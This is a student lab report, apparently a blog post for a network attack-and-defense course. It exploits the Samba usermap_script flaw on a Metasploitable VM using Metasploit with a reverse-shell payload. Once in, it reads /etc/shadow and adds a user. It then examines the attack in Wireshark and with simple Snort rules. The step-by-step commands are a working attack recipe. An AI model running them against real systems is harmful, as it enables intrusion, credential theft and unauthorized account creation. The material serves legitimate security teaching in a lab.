当前位置: 首页 > news >正文

20253902 吴晨宇 2025-2026-2 《网络攻防实践》第七周作业

一、知识点总结

二、操作流程

2.1 本地漏洞利用

2.1.1 实验环境信息

角色 IP 地址 操作系统 作用
攻击机 192.168.31.33 Kali Linux 使用 Nmap、Metasploit 发起漏洞探测与攻击
靶机 192.168.31.67 Metasploitable Linux 运行存在漏洞的 Samba 服务,作为被攻击目标

实验说明:
本实验在本地授权靶场环境中完成,攻击机与靶机处于同一局域网内。实验内容仅用于网络安全学习与漏洞验证。


2.1.2 实际攻击

在进行漏洞利用之前,首先使用 Nmap 对靶机的 SMB/Samba 服务端口进行探测。本次重点扫描 139445 端口,并调用 smb-vuln 相关脚本检测目标是否存在已知漏洞。

nmap -p 139,445 --script=smb-vuln* --script-args=unsafe=1 192.168.31.67

image

从扫描结果可以看到,目标主机开放了 SMB/Samba 相关端口,并且 Nmap 脚本对相关漏洞进行了检测。这一步为后续选择 Metasploit 攻击模块提供了依据。

确认目标存在 Samba 服务后,进入 Metasploit 控制台:

msfconsole

随后选择本次实验使用的漏洞利用模块:

use exploit/multi/samba/usermap_script

image

exploit/multi/samba/usermap_script 模块用于利用 Samba usermap_script 漏洞。该漏洞的典型利用方式是在 SMB 认证过程中构造特殊用户名字段,从而触发系统命令执行。

进入漏洞利用模块后,可以使用 show options 查看当前模块需要配置的参数:

image

从输出结果中可以看到,该模块需要配置目标主机地址、Payload 类型以及本机监听地址等参数。我选择 Unix 反向 Shell 作为攻击载荷:

set payload cmd/unix/reverse

image

这里的 cmd/unix/reverse 表示在漏洞利用成功后,由靶机主动连接回攻击机,从而在攻击机上获得目标主机的 Shell。

确认参数配置无误后,执行漏洞利用:

exploit

image

从执行结果可以看到,Metasploit 成功建立了会话,并获得了目标主机的 Shell。

获得 Shell 后,根据实验七的要求,我需要进一步确认当前所在主机以及获得的权限。这里执行了以下命令:

ifconfig
whoami
cat /etc/shadow

image

其中,各命令作用如下:

命令 作用 分析
ifconfig 查看目标主机网络信息 用于确认当前 Shell 所在主机的 IP 与靶机一致
whoami 查看当前用户身份 用于判断当前 Shell 权限
cat /etc/shadow 读取系统密码哈希文件 该文件通常只有 root 权限可以读取

从执行结果可以看到,当前 Shell 可以成功执行系统命令,并且能够读取 /etc/shadow 文件。由于 /etc/shadow 是 Linux 系统中保存用户密码哈希的重要文件,普通用户通常没有读取权限,因此该结果说明当前 Shell 具有较高权限。

2.2 远程攻击

2.2.1实验环境信息

角色 IP 地址 操作系统 主要作用
攻击机 192.168.43.173 Kali Linux 使用 Metasploit 发起漏洞利用攻击
防守方 / 靶机 192.168.43.75 Metasploitable Linux 运行存在漏洞的 Samba 服务,作为被攻击目标

2.2.2 网络配置

在进行渗透测试实验之前,需要先完成攻击机与靶机的网络配置,确保两台主机处于同一网络环境中,并且能够正常通信。由于校园网 DHCP 分配存在问题,本实验改用 手机热点 作为实验网络环境,使 Kali 攻击机与 Metasploitable 靶机处于同一局域网中。

由于之前 Metasploitable 靶机曾配置过静态 IP,因此需要重新修改网络配置文件,将静态 IP 配置注释掉,使其能够重新通过 DHCP 自动获取 IP 地址。因此在 Metasploitable 中执行以下命令编辑网络配置文件:

vim /etc/network/interfaces

需要注释掉原先的静态 IP 配置内容,主要包括下面三行:

# address <静态IP地址>
# netmask <子网掩码>
# gateway <网关地址>

image

修改完成后,需要重启网络服务,使新的网络配置生效。由于 Metasploitable 使用的操作系统版本较旧,因此不能使用较新的 systemctl 管理方式,而需要通过传统的 init 脚本重启网络服务:

/etc/init.d/networking restart

image

如果网络服务重启成功,说明新的网络配置已经被系统重新加载。此时可以继续查看靶机是否成功获取到 IP 地址。

image

说明 DHCP 分配正常,靶机当前已成功接入手机热点所在的局域网。

2.2.3 联通性测试

完成网络配置后,需要在 Kali 攻击机上测试与 Metasploitable 靶机之间的连通性。在 Kali 中执行以下命令:

ping 192.168.43.75

image

ping 的结果可以看到,Kali 攻击机能够正常收到来自靶机 192.168.43.75 的响应,说明攻击机与靶机之间网络通信正常。

2.2.4 攻击

在完成网络配置和连通性测试后,开始使用 Metasploit 对目标靶机的 Samba 服务进行漏洞利用。本次使用的漏洞利用模块为:

exploit/multi/samba/usermap_script

该模块主要针对 Samba 服务中的 usermap_script 漏洞进行攻击。若目标主机运行存在漏洞的 Samba 版本,则可能通过该漏洞执行远程命令,从而获得目标主机的 Shell 权限。

在使用 Metasploit 之前,需要先确认目标靶机的 IP 地址、攻击机的 IP 地址,以及目标主机是否开放 Samba 服务相关端口。

首先,在 Kali 攻击机中启动 Metasploit,启动后,选择本次实验所需的漏洞利用模块:

msfconsole
use exploit/multi/samba/usermap_script

image

进入模块后,可以使用以下命令查看该模块需要配置的参数:

show options

从模块参数中可以看到,至少需要配置目标主机地址 RHOSTS,同时根据 Payload 类型配置本机监听地址 LHOST 等参数。

接着,设置攻击目标的 IP 地址。根据前面网络配置阶段获取到的结果,靶机 IP 为:

192.168.43.75

因此在 Metasploit 中设置目标地址:

set RHOSTS 192.168.43.75

然后设置 Payload。本实验选择反向 Shell 作为攻击载荷:

set PAYLOAD cmd/unix/reverse

设置 Kali 攻击机的监听地址,即 LHOST

set LHOST 192.168.43.173

参数说明:
RHOSTS 表示目标靶机 IP 地址;
LHOST 表示攻击机用于接收反向连接的 IP 地址;
PAYLOAD 表示攻击成功后执行的载荷类型。

确认参数无误后,执行漏洞利用:

exploit

image

从执行结果可以看到,Metasploit 成功向目标 Samba 服务发送攻击载荷,并建立了远程 Shell 连接。

成功获得 Shell 后,可以执行一些基础命令确认当前所在主机以及当前权限:

whoami
id
uname -a
pwd

image
从命令执行结果可以看到,当前已经成功进入目标 Linux 靶机,并且能够执行系统命令,说明漏洞利用成功。

2.2.5 读写测试

为了进一步验证当前 Shell 是否具有文件读写能力,可以在目标主机中进行简单的读写测试,我计划在临时目录下创建测试文件:

mkdir wcy
cd wcy
echo "20253902 吴晨宇 Please give me 100 冒!" > test_20253902.txt
cat test_20253902.txt
cat /etc/shadow

image

从测试结果可以看到,当前 Shell 可以成功创建文件并读取文件内容,说明已经具备一定的文件操作权限。

2.2.6 新建用户测试

为了进一步验证当前权限,可以尝试在目标系统中新建用户。首先执行以下命令添加新用户:

useradd -m -s /bin/bash wcy20253902
passwd wcy20253902
ls -ld /home/wcy20253902

image

新建用户属于高权限操作,通常只有 root 或具备相应权限的用户才能执行。这里该操作成功,说明本次漏洞利用获得的权限较高。

2.2.7ssh连接测试

同时,在shell中可以查看端口的开放情况,发现22端口开放,准备测试新用户能否登陆

ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedAlgorithms=+ssh-rsa wcy2 0253902@192.168.43.75

image

攻击阶段命令总结

操作步骤 命令 作用
启动 Metasploit msfconsole 进入 Metasploit 控制台
选择攻击模块 use exploit/multi/samba/usermap_script 使用 Samba Usermap_script 漏洞利用模块
查看模块参数 show options 查看需要配置的攻击参数
设置目标地址 set RHOSTS 192.168.43.75 指定目标靶机 IP
设置 Payload set PAYLOAD cmd/unix/reverse 使用 Unix 反向 Shell
设置监听地址 set LHOST <Kali攻击机IP> 指定攻击机接收连接的 IP
执行攻击 exploitrun 发起漏洞利用
查看当前用户 whoami 判断当前 Shell 权限
查看用户权限 id 查看当前用户 UID、GID 等信息
查看系统信息 uname -a 确认当前目标系统信息
文件写入测试 echo "metasploit test" > test.txt 验证是否具备文件写入权限
文件读取测试 cat test.txt 验证是否具备文件读取权限
新建用户 useradd testuser 验证是否具备用户管理权限
查看用户是否存在 cat /etc/passwd | grep testuser 确认用户是否创建成功

2.2.8 防守溯源

过滤攻守双方ip

ip.addr == 192.168.43.173 && ip.addr == 192.168.43.75

image

在抓包结果中,可以看到 SMB 认证请求的 Account 字段被插入了命令执行载荷,说明 Metasploit 已经向目标 Samba 服务发送了用于触发 usermap_script 漏洞的恶意请求。
image

image

snort的简单分析,写入local.rules
image

分析实验结果
image

Snort 检测结果表明,靶机 192.168.43.75 与攻击机 192.168.43.173 之间存在 4444 端口远程 Shell 通信,并且在该通信中出现了 idpasswd 等后渗透命令。结合前面对 SMB Payload 的分析,可以说明本次 Samba 漏洞利用已经成功,攻击者获得了目标主机的命令执行权限,并进行了权限验证和账户相关操作。当然由于规则写的非常简陋,如果想要更加详细地分析流量内容,需要更加详细地设计过滤规则。

三、遇到的问题

ssh连接不上

第一次直接 SSH 连接靶机时出现了 Unable to negotiate ... no matching host key type found. Their offer: ssh-rsa,ssh-dss,这不是用户名或密码错误,而是 Kali 上较新的 OpenSSH 客户端默认禁用了老旧的 ssh-rsa、ssh-dss 主机密钥算法;而 Metasploitable 系统较旧,只提供这些旧算法,所以双方无法协商连接,解决方法是在连接时临时允许使用 ssh-rsa 算法。
image

四、心得体会

这次实验主要是做了利用

http://www.jsqmd.com/news/785448/

相关文章:

  • 保姆级教程:用Python和Pandas快速上手Argoverse2数据集(附代码避坑指南)
  • 微信双开终极指南:3步解锁平板模式,实现手机平板同时登录
  • 发个HTTP请求就蓝屏?MS15-034内核漏洞实战:从POC到补丁防御
  • 300GB Procreate插画教程合集零基础到接稿
  • AI Agent参与软件开发遇挑战,UModel代码知识图谱助力AI原生软件工程
  • MPAI-EEV:AI端到端视频编码如何重塑视频压缩技术格局
  • 20251917李鑫明-实践七 Linux系统攻防
  • AEC行业AI与机器人伦理挑战:安全、公平与治理框架
  • Redis学习5 分布式缓存(下)
  • 深度学习在眼科AI诊断中的应用:从模型构建到临床落地
  • KITTI不够用?深度评测ORFD:这个专为越野打造的免费数据集到底香不香
  • meituan mtgsig1.2
  • CANN/pyasc架构介绍
  • cann/sip asdConvolve卷积滤波算子
  • 2026 年鼓楼区 GEO 优化公司深度测评:南京赢之乐凭本土深耕与合规技术领跑 - 小艾信息发布
  • AI智能体技能开发实战:从黄历查询看垂直领域知识封装
  • 多模态机器学习:从融合范式到MULTIBENCH基准实践
  • 3篇3章8节:Obsidian 的全方位写作工作流
  • 解锁私人游戏云:用Sunshine打造专属游戏串流服务器
  • AI数据污染与模型退化:扩散模型自训练实验揭示反馈循环风险
  • 顶会论文模块复现与二次创新:ICLR 2026 复现:状态空间模型 Vim 模块在视觉检测中的高效替代与 YOLO 集成
  • 2026年5月武汉殡葬机构靠谱服务商深度测评攻略 - 海棠依旧大
  • 鄂尔多斯地磅配件采购指南:本地标杆厂家与高性价比定制方案推荐 - 品牌策略师
  • 从FOLD规则到反事实解释:构建可信AI系统的核心技术路径
  • CANN/HCCL集合通信库快速入门指南
  • 芯片设计实战:变异感知设计方法论与先进工艺下的良率挑战
  • 扩散模型原理与实践:从噪声预测到图像生成的AI核心技术
  • cann/ops-math矩阵乘压缩解压缩算子
  • 《龙虾OpenClaw系列:从嵌入式裸机到芯片级系统深度实战60课》038、多核架构入门——双核通信与共享内存
  • AI赋能分子相互作用:几何深度学习在药物与材料设计中的实践